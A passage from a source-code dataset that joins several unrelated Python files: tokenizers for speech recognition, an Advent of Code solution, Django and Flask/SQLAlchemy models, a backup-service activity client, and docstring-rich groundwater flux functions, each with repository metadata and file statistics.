] | 17 | 2019-08-01T07:45:46.000Z | 2022-03-25T05:15:13.000Z | text_tokenizers.py | kotikkonstantin/convasr | 3d4d7f3627269372ae1eb7ff7423b29838f47ac0 | [
"MIT"
] | 14 | 2020-05-30T16:18:28.000Z | 2021-06-24T08:08:19.000Z | text_tokenizers.py | kotikkonstantin/convasr | 3d4d7f3627269372ae1eb7ff7423b29838f47ac0 | [
"MIT"
] | 6 | 2020-07-10T14:43:02.000Z | 2021-04-08T19:28:53.000Z | import re
import sentencepiece
import typing
from collections import defaultdict
class CharTokenizerLegacy:
def __init__(self, alphabet: str):
self.alphabet = alphabet
self.unk_token = '*'
self.punkt_token = '.'
self.repeat_token = '2'
self.space_token = ' '
self.eps_token = '|'
self.idx2char = list(alphabet) + [self.unk_token, self.punkt_token, self.repeat_token, self.space_token, self.eps_token]
self.char2idx = {char: idx for idx, char in enumerate(self.idx2char)}
self.unk_idx = self.char2idx[self.unk_token]
self.space_id = self.char2idx[self.space_token]
self.eps_id = self.char2idx[self.eps_token]
@property
def vocab(self):
return self.idx2char
@property
def vocab_size(self):
return len(self.idx2char)
@property
def silence_tokens_ids(self):
return {self.eps_id, self.space_id}
def is_start_word_token(self, idx):
'''
Returns true if new word started from this token
'''
return idx == self.space_id
def encode(self, sentences: typing.List[str], **kwargs) -> typing.List[typing.List[int]]:
tokens = []
for sentence in sentences:
tokens.append([self.char2idx.get(char, self.unk_idx) for char in sentence])
return tokens
def decode(self, tokens: typing.Iterable[typing.List[int]], **kwargs) -> typing.List[str]:
sentences = []
for sentence_tokens in tokens:
sentences.append(''.join([self.idx2char[idx] for idx in sentence_tokens]))
return sentences
class BPETokenizer:
def __init__(self, model_path: str, name: str):
self.bpe = sentencepiece.SentencePieceProcessor(model_file = model_path)
self.vocab = [self.bpe.id_to_piece(idx) for idx in range(self.bpe.get_piece_size())]
self.word_start_tokens = set(idx for idx in range(self.bpe.get_piece_size()) if '\u2581' in self.vocab[idx])
@property
def vocab_size(self):
return self.bpe.get_piece_size()
@property
def silence_tokens_ids(self):
return {self.pad_id}
def is_start_word_token(self, idx):
'''
Returns true if new word started from this token
'''
return idx in self.word_start_tokens
@property
def bos_id(self):
return self.bpe.bos_id
@property
def eos_id(self):
return self.bpe.eos_id
@property
def unk_id(self):
return self.bpe.unk_id
@property
def pad_id(self):
return self.bpe.pad_id
def encode(self, sentences: typing.List[str], bos = False, eos = False, **kwargs) -> typing.List[typing.List[int]]:
return self.bpe.encode(sentences, add_bos = bos, add_eos = eos)
def decode(self, tokens: typing.List[typing.List[int]], **kwargs) -> typing.List[str]:
return self.bpe.decode(tokens) | 30.978723 | 128 | 0.644918 | 391 | 2,912 | 4.629156 | 0.189258 | 0.064641 | 0.061878 | 0.046961 | 0.491713 | 0.39779 | 0.332597 | 0.264088 | 0.177901 | 0.177901 | 0 | 0.006806 | 0.243132 | 2,912 | 94 | 129 | 30.978723 | 0.814428 | 0.03331 | 0 | 0.223881 | 0 | 0 | 0.003973 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.253731 | false | 0 | 0.059701 | 0.164179 | 0.567164 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ec18a5ae8ff3c875c8116ef1833aa8729d0acf31 | 348 | py | Python | day01_part1.py | jkbockstael/adventofcode-2020 | 94a4f818a6fb3f89370d37d2bd2223ef3023ab5a | [
"Unlicense"
] | 1 | 2020-12-02T10:03:08.000Z | 2020-12-02T10:03:08.000Z | day01_part1.py | jkbockstael/adventofcode-2020 | 94a4f818a6fb3f89370d37d2bd2223ef3023ab5a | [
"Unlicense"
] | null | null | null | day01_part1.py | jkbockstael/adventofcode-2020 | 94a4f818a6fb3f89370d37d2bd2223ef3023ab5a | [
"Unlicense"
] | null | null | null | # Advent of Code 2020 - Day 1 - Report Repair
# https://adventofcode.com/2020/day/1
import sys
def parse_input(lines):
return [int(line.strip()) for line in lines]
def part1(expenses):
return [a * b for a in expenses for b in expenses if a + b == 2020][0]
if __name__ == "__main__":
print(part1(parse_input(sys.stdin.readlines())))
| 24.857143 | 74 | 0.681034 | 57 | 348 | 3.982456 | 0.596491 | 0.061674 | 0.070485 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059859 | 0.183908 | 348 | 13 | 75 | 26.769231 | 0.739437 | 0.227011 | 0 | 0 | 0 | 0 | 0.030075 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0.285714 | 0.714286 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ec1f6cedba8311cdb465a824a6c11a9433cde1af | 162 | py | Python | django_robokassa/app.py | AlekseyA/django-robokassa | 825f5633f5bebe54aa2ea180573b2de683fd8589 | [
"MIT"
] | null | null | null | django_robokassa/app.py | AlekseyA/django-robokassa | 825f5633f5bebe54aa2ea180573b2de683fd8589 | [
"MIT"
] | null | null | null | django_robokassa/app.py | AlekseyA/django-robokassa | 825f5633f5bebe54aa2ea180573b2de683fd8589 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class RobokassaConfig(AppConfig):
name = 'django-robokassa'
label = 'Robokassa'
verbose_name = u'Робокасса'
| 23.142857 | 35 | 0.697531 | 18 | 162 | 6.277778 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.209877 | 162 | 6 | 36 | 27 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0.219355 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.2 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ec21b5a8516b029995f799fb5dd969c7759c2b66 | 889 | py | Python | exchangelib/services/expand_dl.py | mishmashclone/ecederstrand-exchangelib | 1bbae0e527dc82a45bf3b5946b438d69de96c20f | [
"BSD-2-Clause"
] | null | null | null | exchangelib/services/expand_dl.py | mishmashclone/ecederstrand-exchangelib | 1bbae0e527dc82a45bf3b5946b438d69de96c20f | [
"BSD-2-Clause"
] | null | null | null | exchangelib/services/expand_dl.py | mishmashclone/ecederstrand-exchangelib | 1bbae0e527dc82a45bf3b5946b438d69de96c20f | [
"BSD-2-Clause"
] | null | null | null | from .common import EWSService
from ..errors import ErrorNameResolutionMultipleResults
from ..properties import Mailbox
from ..util import create_element, set_xml_value, MNS
class ExpandDL(EWSService):
"""MSDN: https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/expanddl-operation"""
SERVICE_NAME = 'ExpandDL'
element_container_name = f'{{{MNS}}}DLExpansion'
WARNINGS_TO_IGNORE_IN_RESPONSE = ErrorNameResolutionMultipleResults
def call(self, distribution_list):
return self._elems_to_objs(self._get_elements(payload=self.get_payload(distribution_list=distribution_list)))
def _elem_to_obj(self, elem):
return Mailbox.from_xml(elem, account=None)
def get_payload(self, distribution_list):
return set_xml_value(create_element(f'm:{self.SERVICE_NAME}'), distribution_list, version=self.protocol.version)
| 40.409091 | 120 | 0.778403 | 111 | 889 | 5.963964 | 0.522523 | 0.120846 | 0.033233 | 0.07855 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12036 | 889 | 21 | 121 | 42.333333 | 0.846547 | 0.11811 | 0 | 0 | 0 | 0 | 0.062982 | 0.026992 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.285714 | 0.214286 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ec29c175f6b9f37d0b9f63c7911bcae9864316ed | 2,440 | py | Python | deprecated/rcbu/common/activity_mixin.py | nloadholtes/python-cloudbackup-sdk | 1866e23aaaac41c35be4cb6ab964fcd0ba9a8fe6 | [
"Apache-2.0"
] | 4 | 2015-02-10T14:28:12.000Z | 2016-12-26T22:52:07.000Z | deprecated/rcbu/common/activity_mixin.py | nloadholtes/python-cloudbackup-sdk | 1866e23aaaac41c35be4cb6ab964fcd0ba9a8fe6 | [
"Apache-2.0"
] | 17 | 2015-01-22T21:58:36.000Z | 2018-01-25T19:47:43.000Z | deprecated/rcbu/common/activity_mixin.py | nloadholtes/python-cloudbackup-sdk | 1866e23aaaac41c35be4cb6ab964fcd0ba9a8fe6 | [
"Apache-2.0"
] | 9 | 2015-01-26T19:25:45.000Z | 2018-11-01T20:14:12.000Z | import rcbu.common.status as status
import rcbu.common.activity as activity
from rcbu.common.http import Http
_predicates = {
"backup_history": lambda j: j['Type'] == 'Backup' and not _is_running(j),
"restore_history": lambda j: j['Type'] == 'Restore' and not _is_running(j),
"cleanup_history": lambda j: j['Type'] == 'Cleanup' and not _is_running(j),
"active_backups": lambda j: j['Type'] == 'Backup' and _is_running(j),
"active_restores": lambda j: j['Type'] == 'Restore' and _is_running(j),
"active_cleanups": lambda j: j['Type'] == 'Cleanup' and _is_running(j),
"active": lambda j: _is_running(j),
"not_active": lambda j: not _is_running(j)
}
def _is_running(job):
return status.busy(job['CurrentState'])
def _jobs(connection, predicate, agent_id=None):
url = ('{0}/activity'.format(connection.host) if agent_id is None else
'{0}/system/activity/{1}'.format(connection.host, agent_id))
resp = connection.request(Http.get, url, verify=False)
resp.raise_for_status()
return (activity.from_dict(b) for b in resp.json() if predicate(b))
def _any_running(connection, agent_id=None):
try:
next(_jobs(connection, _predicates['active'], agent_id))
except StopIteration:
return False
return True
class ExposesActivities(object):
def __init__(self, connection, oid=None):
self._connection = connection
self._id = oid
def _listing(self, predicate):
return _jobs(self._connection, predicate, self._id)
@property
def backup_history(self):
return self._listing(_predicates['backup_history'])
@property
def restore_history(self):
return self._listing(_predicates['restore_history'])
@property
def cleanup_history(self):
return self._listing(_predicates['cleanup_history'])
@property
def active_backups(self):
return self._listing(_predicates['active_backups'])
@property
def active_restores(self):
return self._listing(_predicates['active_restores'])
@property
def active_cleanups(self):
return self._listing(_predicates['active_cleanups'])
@property
def active(self):
return self._listing(_predicates['active'])
@property
def history(self):
return self._listing(_predicates['not_active'])
@property
def busy(self):
return _any_running(self._connection, self._id)
| 30.123457 | 79 | 0.678279 | 307 | 2,440 | 5.123779 | 0.221498 | 0.051494 | 0.050858 | 0.106802 | 0.342022 | 0.273363 | 0 | 0 | 0 | 0 | 0 | 0.001525 | 0.193852 | 2,440 | 80 | 80 | 30.5 | 0.79817 | 0 | 0 | 0.15 | 0 | 0 | 0.133197 | 0.009426 | 0 | 0 | 0 | 0 | 0 | 1 | 0.233333 | false | 0 | 0.05 | 0.183333 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ec4e572c58b42681f0615a8ac44d492d58e51cb0 | 397 | py | Python | ex01/first_last.py | aiit2016/2016-2Q-SP | 97f2472733052df4f8a3604ad71d5b1d36586a8b | [
"MIT"
] | null | null | null | ex01/first_last.py | aiit2016/2016-2Q-SP | 97f2472733052df4f8a3604ad71d5b1d36586a8b | [
"MIT"
] | null | null | null | ex01/first_last.py | aiit2016/2016-2Q-SP | 97f2472733052df4f8a3604ad71d5b1d36586a8b | [
"MIT"
] | null | null | null | def first_last(s1):
# [out of bound error] s2 = s1[0] + s1[1] + s1[4] + s1[5]
# [out of bound error] s2 = s1[0] + s1[1] + s1[-2] + s1[-1]
# [false result] s2 = s1[0:2] + s1[-2:-1]
s2 = s1[0:2] + s1[-2:]
# [out of bound error] s2 = s1[:2] + s1[-2]
return s2
print(first_last("spring"))
print(first_last("hello"))
print(first_last("a"))
print(first_last("abc"))
| 30.538462 | 64 | 0.526448 | 72 | 397 | 2.833333 | 0.305556 | 0.220588 | 0.098039 | 0.220588 | 0.426471 | 0.426471 | 0.245098 | 0.245098 | 0.245098 | 0.245098 | 0 | 0.126246 | 0.241814 | 397 | 12 | 65 | 33.083333 | 0.551495 | 0.491184 | 0 | 0 | 0 | 0 | 0.081081 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.285714 | 0.571429 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
6b530ce60fbcd7c7f382196f4a7a9f53a1fe8b9e | 12,283 | py | Python | DatabaseLayer/DataModel.py | BenTeo11/python-docs-hello-world | 3da9c9a1fadccdb1769c4f04124a7b68d7795bf0 | [
"MIT"
] | null | null | null | DatabaseLayer/DataModel.py | BenTeo11/python-docs-hello-world | 3da9c9a1fadccdb1769c4f04124a7b68d7795bf0 | [
"MIT"
] | null | null | null | DatabaseLayer/DataModel.py | BenTeo11/python-docs-hello-world | 3da9c9a1fadccdb1769c4f04124a7b68d7795bf0 | [
"MIT"
] | null | null | null | from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import desc
from sqlalchemy_utils import UUIDType
from uuid import uuid4
import json
from DatabaseLayer.Settings import app
#from DatabaseLayer.UserModel import *
db = SQLAlchemy()
class Company(db.Model):
__tablename_ = 'Company'
Name = db.Column(db.String(80), nullable=False)
Id = db.Column(UUIDType(binary=True), primary_key=True)
SubscriptionId =db.Column(UUIDType(binary=True), nullable=True)
def json(self):
return{'Name':self.Name, 'Id':str(self.Id), 'SubscriptionId':str(self.SubscriptionId)}
def add_company(_name, _id, _subscriptionId):
new_company = Company(Name=_name, Id=_id, SubscriptionId=_subscriptionId)
db.session.add(new_company)
db.session.commit()
def get_all_companies():
return[Company.json(company) for company in Company.query.all()]
def get_company_by_id(_id):
return Company.json(Company.query.filter_by(Id=_id).first())
def get_company_by_name(_name):
return[Company.json(company) for company in Company.query.filter_by(Name=_name)]
def delete_company(_id):
Company.query.filter_by(Id=_id).delete()
db.session.commit()
def update_company(_name, _id, _subscriptionId):
company_to_update = Company.query.filter_by(Id=_id)
company_to_update.Name = _name
company_to_update.SubscriptionId = _subscriptionId
db.session.commit()
def createCompany(_name):
id = uuid4().hex
new_company = Company(Id = id, Name = _name, SubscriptionId = None)
db.session.add(new_company)
db.session.commit()
def __repr__(self):
company_object ={
'Name':self.Name,
'Id':str(self.Id),
'SubscriptionId':str(self.SubscriptionId)
}
return json.dumps(company_object)
class Product(db.Model):
__tablename_ = 'Product'
Name = db.Column(db.String(80), nullable=False)
Id = db.Column(UUIDType(binary=True), primary_key=True)
CompanyId = db.Column(UUIDType(binary=True), db.ForeignKey(Company.Id), nullable=False)
def json(self):
return{'Name':self.Name, 'Id':str(self.Id), 'CompanyId':str(self.CompanyId)}
def add_product(_name, _id, _companyId):
new_product = Product(Name=_name, Id=_id, CompanyId=_companyId)
db.session.add(new_product)
db.session.commit()
def get_all_products():
return[Product.json(product) for product in Product.query.all()]
def get_product_by_id(_id):
return Product.json(Product.query.filter_by(Id=_id).first())
def delete_product(_id):
Product.query.filter_by(Id=_id).delete()
db.session.commit()
def update_product(_name, _id, _companyId):
product_to_update = Product.query.filter_by(Id=_id)
product_to_update.Name = _name
product_to_update.CompanyId = _companyId
db.session.commit()
def createProduct(_name, _companyId):
id = uuid4().hex
new_product = Product(Id = id, Name = _name, CompanyId = _companyId)
db.session.add(new_product)
db.session.commit()
def __repr__(self):
product_object ={
'Name':self.Name,
'Id':self.Id,
'CompanyId':self.CompanyId
}
return json.dumps(product_object)
class Device(db.Model):
__tablename_ = 'Device'
Name = db.Column(db.String(80), nullable=False)
Id = db.Column(UUIDType(binary=True), primary_key=True)
ProductId = db.Column(UUIDType(binary=True), db.ForeignKey(Product.Id), nullable=False)
def json(self):
return{'Name':self.Name, 'Id':str(self.Id), 'ProductId':str(self.ProductId)}
def add_device(_name, _id, _productId):
new_device = Device(Name=_name, Id=_id, ProductId=_productId)
db.session.add(new_device)
db.session.commit()
def get_all_devices():
return[Device.json(device) for device in Device.query.all()]
def get_device_by_id(_id):
return Device.json(Device.query.filter_by(Id=_id).first())
def delete_device(_id):
Device.query.filter_by(Id=_id).delete()
db.session.commit()
def update_device(_name, _id, _productId):
device_to_update = Device.query.filter_by(Id=_id)
device_to_update.Name = _name
device_to_update.ProductId = _productId
db.session.commit()
def createDevice(_name, _productId):
id = uuid4().hex
new_device = Device(Id = id, Name = _name, ProductId = _productId)
db.session.add(new_device)
db.session.commit()
def __repr__(self):
device_object ={
'Name':self.Name,
'Id':self.Id,
'ProductId':self.ProductId
}
return json.dumps(device_object)
class Component(db.Model):
__tablename_ = 'Component'
Name = db.Column(db.String(80), nullable=False)
Id = db.Column(UUIDType(binary=True), primary_key=True)
DeviceId = db.Column(UUIDType(binary=True), db.ForeignKey(Device.Id), nullable=False)
def json(self):
return{'Name':self.Name, 'Id':str(self.Id), 'DeviceId':str(self.DeviceId)}
def add_component(_name, _id, _deviceId):
new_component = Component(Name=_name, Id=_id, DeviceId=_deviceId)
db.session.add(new_component)
db.session.commit()
def get_all_components():
return[Component.json(component) for component in Component.query.all()]
def get_component_by_id(_id):
return Component.json(Component.query.filter_by(Id=_id).first())
def delete_component(_id):
Component.query.filter_by(Id=_id).delete()
db.session.commit()
def update_component(_name, _id, _deviceId):
component_to_update = Component.query.filter_by(Id=_id)
component_to_update.Name = _name
component_to_update.DeviceId = _deviceId
db.session.commit()
def createComponent(_name, _deviceId):
id = uuid4().hex
new_component = Component(Id = id, Name = _name, DeviceId = _deviceId)
db.session.add(new_component)
db.session.commit()
def __repr__(self):
component_object ={
'Name':self.Name,
'Id':self.Id,
'DeviceId':self.DeviceId
}
return json.dumps(component_object)
class Data(db.Model):
__tablename_ = 'Data'
componentId = db.Column(UUIDType(binary=True), db.ForeignKey(Component.Id), nullable=False)
timeStamp = db.Column(db.DATETIME, primary_key=True, nullable=False)
data = db.Column(db.NVARCHAR)
def json(self):
return{'componentId':str(self.componentId), 'timeStamp':str(self.timeStamp), 'data':self.data}
def add_data(_timestamp, _componentId, _data):
new_data = Data(componentId=_componentId, timeStamp=_timestamp, data=_data)
db.session.add(new_data)
db.session.commit()
def get_all_data():
return [Data.json(data) for data in Data.query.all()]
def get_data_by_id(_componentId):
return Data.json(Data.query.filter_by(componentId=_componentId).first())
def get_data_by_timestamp(_componentId, _timeStamp):
return Data.json(Data.query.filter_by(componentId=_componentId, timeStamp= _timeStamp).first())
def get_data_the_lastrows(counts,_componentId):
return [Data.json(data) for data in Data.query.filter_by(componentId=_componentId).order_by(desc(Data.timeStamp)).limit(counts).all()]
def delete_data(_timeStamp):
Data.query.filter_by(timeStamp=_timeStamp).delete()
db.session.commit()
def delete_data_by_id(_componentId):
Data.query.filter_by(componentId=_componentId).delete()
db.session.commit()
def __repr__(self):
data_object ={
'componentId':str(self.componentId),
'timeStamp':str(self.timeStamp),
'data':self.data
}
return json.dumps(data_object)
class Result(db.Model):
__tablename_ = 'Result'
componentId = db.Column(UUIDType(binary=True), db.ForeignKey(Component.Id), nullable=False)
timeStamp = db.Column(db.DATETIME, db.ForeignKey(Data.timeStamp), nullable=False)
resultTimeStamp = db.Column(db.DATETIME, primary_key=True, nullable=False)
data = db.Column(db.NVARCHAR)
def json(self):
return{'componentId':str(self.componentId), 'timeStamp':str(self.timeStamp), 'resultTimeStamp':str(self.resultTimeStamp), 'data':self.data}
def add_data(_timestamp, _resultTimeStamp, _componentId, _data):
new_data = Result(componentId=_componentId, timeStamp=_timestamp, resultTimeStamp=_resultTimeStamp,data=_data)
db.session.add(new_data)
db.session.commit()
def get_all_data():
return [Result.json(data) for data in Result.query.all()]
def get_data_by_id(_componentId):
return [Result.json(data) for data in Result.query.filter_by(componentId=_componentId).order_by(desc(Result.timeStamp)).all()]
def get_data_by_timestamp(_componentId, _timeStamp):
return Result.json(Result.query.filter_by(componentId=_componentId, timeStamp= _timeStamp).all())
def get_data_the_lastrows(counts,_componentId):
return [Result.json(data) for data in Result.query.filter_by(componentId=_componentId).order_by(desc(Result.timeStamp)).limit(counts).all()]
def get_data_allrows(_componentId):
return [Result.json(data) for data in Result.query.filter_by(componentId=_componentId).order_by(desc(Result.timeStamp)).all()]
def delete_data(_resultTimeStamp):
Result.query.filter_by(timeStamp=_resultTimeStamp).delete()
db.session.commit()
def __repr__(self):
data_object ={
'componentId':self.componentId,
'timeStamp':str(self.timeStamp),
'resultTimeStamp':str(self.resultTimeStamp),
'data':self.data
}
return json.dumps(data_object)
class Subscription(db.Model):
__tablename_ = 'Subscription'
Id = db.Column(UUIDType(binary=True), primary_key=True)
CompanyId = db.Column(UUIDType(binary=True), db.ForeignKey(Company.Id), nullable=False)
Count = db.Column(db.Integer)
Valid = db.Column(db.Boolean)
def createSubscription(_companyId):
id = uuid4().hex
new_subscription = Subscription(Id = id, CompanyId = _companyId, Count = 0, Valid = True)
db.session.add(new_subscription)
db.session.commit()
return id
def addSubscription(_companyId, _id):
new_subscription = Subscription(Id = _id, CompanyId = _companyId, Count = 0, Valid = True)
db.session.add(new_subscription)
db.session.commit()
return id
class User(db.Model):
__tablename__ = 'Users'
Id = db.Column(UUIDType(binary=True), primary_key=True)
Username = db.Column(db.String(80), unique=True, nullable=False)
Password = db.Column(db.String(80), nullable=False)
SubscriptionId = db.Column(UUIDType(binary=True), db.ForeignKey(Subscription.Id), nullable=False)
def __repr__(self):
return str({
'username': self.Username,
'password': self.Password
})
def username_password_match(_username, _password):
user = User.query.filter_by(Username=_username).filter_by(Password=_password).first()
if user is None:
return False
else:
return True
def getAllUsers():
return User.query.all()
def createUser(_username, _password,_subscriptionId):
id = uuid4().hex
new_user = User(Id=id, Username=_username, Password=_password, SubscriptionId = _subscriptionId)
db.session.add(new_user)
db.session.commit()
return id | 37.910494 | 152 | 0.644224 | 1,446 | 12,283 | 5.226141 | 0.070539 | 0.044065 | 0.047638 | 0.05002 | 0.590975 | 0.570067 | 0.519651 | 0.47241 | 0.434829 | 0.364827 | 0 | 0.002246 | 0.238867 | 12,283 | 324 | 153 | 37.910494 | 0.806076 | 0.003012 | 0 | 0.385214 | 0 | 0 | 0.026621 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.22179 | false | 0.023346 | 0.027237 | 0.101167 | 0.51751 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
6b67ea7e1f7e6f73a8512b82067bb9e1ddd02754 | 7,790 | py | Python | waterflow/utility/fluxfunctions.py | bramappelt/flow | e2a6e931813feccf317a3bca8fad8f93191fdb09 | [
"MIT"
] | null | null | null | waterflow/utility/fluxfunctions.py | bramappelt/flow | e2a6e931813feccf317a3bca8fad8f93191fdb09 | [
"MIT"
] | 6 | 2019-09-11T15:37:24.000Z | 2021-08-30T11:12:03.000Z | waterflow/utility/fluxfunctions.py | bramappelt/flow | e2a6e931813feccf317a3bca8fad8f93191fdb09 | [
"MIT"
] | null | null | null | """ Several flow equations for (un)saturated flow problems and a
storage change function """
def darcy(x, s, gradient, kfun=lambda x, s: 1):
""" Flux function for saturated flow
Flow equation as first described by :cite:`Darcy1856`.
Parameters
----------
x : `float`
Positional argument :math:`\\left(length\\right)`.
s : `float`
State of the system :math:`\\left(length\\right)`.
gradient : `float`
Gradient :math:`\\frac{\\delta s}{\\delta x}`.
kfun : `func`, default is :math:`kfun(x,s) = 1`
Hydraulic conductivity function with signature :math:`kfun(x, s)`
:math:`\\left(\\frac{length}{time}\\right)`.
Returns
-------
`float`
Flux value :math:`\\left(\\frac{length}{time}\\right)`.
Notes
-----
See the exact implemention of the :cite:`Darcy1856` function below:
.. math::
q(x, s, \\frac{\\delta s}{\\delta x}) =
-kfun(x, s) * \\frac{\\delta s}{\\delta x}
.. tip::
The function :math:`kfun` can return a fixed value if the saturated
conductivity is needed instead of a hydraulic conductivity function.
The ``kfun`` argument may look like the following:
.. math::
kfun(x, s) = ksat
Which can be implemented in Python with a lambda function
(lambda x, s: ksat) or just with a common function.
Examples
--------
>>> from waterflow.utility.fluxfunctions import darcy
>>> from waterflow.utility.helper import initializer
>>> # In this case ksat is 1, negative gradient is returned
>>> darcy(10, 5, 0.01)
-0.01
>>> # Prepare the fluxfunction with a different default argument
>>> def kfun(x, s):
... return -0.001 * x + s**1.2
>>> darcy = initializer(darcy, kfun=kfun)
>>> round(darcy(10, 5, 0.01), 4)
-0.0689
"""
return - kfun(x, s) * gradient
def darcy_s(x, s, gradient, kfun=lambda x, s: 1):
""" Flux function for saturated flow
Flow equation as first described by :cite:`Darcy1856` which
is altered to include a state dependency.
Parameters
----------
x : `float`
Positional argument :math:`\\left(length\\right)`.
s : `float`
State of the system :math:`\\left(length\\right)`.
gradient : `float`
Gradient :math:`\\frac{\\delta s}{\\delta x}`.
kfun : `func`, default is :math:`kfun(x,s) = 1`
Hydraulic conductivity function with signature :math:`kfun(x, s)`
:math:`\\left(\\frac{length}{time}\\right)`.
Returns
-------
`float`
Flux value :math:`\\left(\\frac{length}{time}\\right)`.
Notes
-----
See the exact implemention of the adapted function below:
.. math::
q(x, s, \\frac{\\delta s}{\\delta x}) =
-kfun(x, s) * s * \\frac{\\delta s}{\\delta x}
.. tip::
The function :math:`kfun` can return a fixed value if the saturated
conductivity is needed instead of a hydraulic conductivity function.
The ``kfun`` argument may look like the following:
.. math::
kfun(x, s) = ksat
Which can be implemented in Python with a lambda function
(lambda x, s: ksat) or just with a common function.
Examples
--------
>>> from waterflow.utility.fluxfunctions import darcy_s
>>> from waterflow.utility.helper import initializer
>>> # In this case ksat is 1, negative gradient is returned
>>> darcy_s(10, 5, 0.01)
-0.05
>>> # Prepare the fluxfunction with a different default argument
>>> def kfun(x, s):
... return -0.001 * x + s**1.2
>>> darcy_s = initializer(darcy_s, kfun=kfun)
>>> round(darcy_s(10, 5, 0.01), 4)
-0.3444
"""
return - kfun(x, s) * s * gradient
def richards_equation(x, s, gradient, kfun):
""" Flux function for unsaturated flow
Flux function for unsaturated flow as described by :cite:`Richards1970`.
Parameters
----------
x : `float`
Positional argument :math:`\\left(length\\right)`.
s : `float`
State of the system :math:`\\left(length\\right)`.
gradient : `float`
Gradient :math:`\\frac{\\delta s}{\\delta x}`.
kfun : `func`
Unsaturated hydraulic conductivity function with signature
:math:`kfun(x, s)` :math:`\\left(\\frac{length}{time}\\right)`.
Returns
-------
`float`
Flux value :math:`\\left(\\frac{length}{time}\\right)`.
Notes
-----
See the exact implementation of the richards equation :cite:`Richards1970`
below:
.. math::
q(x, s, \\frac{\\delta s}{\\delta x}) =
-kfun(x, s) * \\left(\\frac{\\delta s}{\\delta x} + 1\\right)
.. note::
For usage in the flow model,
:py:class:`~waterflow.flow1d.flowFE1d.Flow1DFE`, the calling signature
needs to be reduced to 3 positional arguments. ``kfun`` should be given
a default value, see the examples section.
Examples
--------
>>> from waterflow.utility.fluxfunctions import richards_equation
>>> from waterflow.utility.conductivityfunctions import VG_pressureh
>>> from waterflow.utility.helper import initializer
>>> # kfun itself needs to be initialized too
>>> VG_pressureh = initializer(VG_pressureh, theta_s=0.42, a=0.0748, n=1.44)
>>> # Prepare the unsaturated hydraulic conductivity function
>>> richards_equation = initializer(richards_equation, kfun=VG_pressureh)
>>> richards_equation(0, -10**4.2, 0.1)
-0.462
"""
return -kfun(x, s) * (gradient + 1)
def storage_change(x, s, prevstate, dt, fun=lambda x: x, S=1.0):
""" Storage change function
General storage change function for both saturated and
unsaturated flow simulations
Parameters
----------
x : `float`
Positional argument :math:`\\left(length\\right)`.
s : `float`
State of the system :math:`\\left(length\\right)`.
prevstate : `func`
Converts a position, :math:`x`, to a state value :math:`s`.
dt : `float`
Time step `\\left(time\\right)`.
fun : `func`, default is :math:`fun(x) = x`
Convert a state value, :math:`s`, to a moisture content, :math:`\\theta`,
in case of unsaturated flow.
S : `float`, default is 1.0
Sorptivity as a fraction.
Returns
-------
`float`
Flux value :math:`\\left(\\frac{length}{time}\\right)`.
Notes
-----
Below the exact implementation of the storage change function is shown:
.. math::
q(x, s, prevstate, dt) = - S * \\frac{fun(s) - fun(prevstate(x))}{dt}
With specific arguments the storage change function can be used for
unsaturated flow problems:
.. math::
q(x, s, prevstate, dt) = - \\frac{fun(s) - fun(prevstate(x))}{\\Delta t}
See the implementation for saturated flow problems below:
.. math::
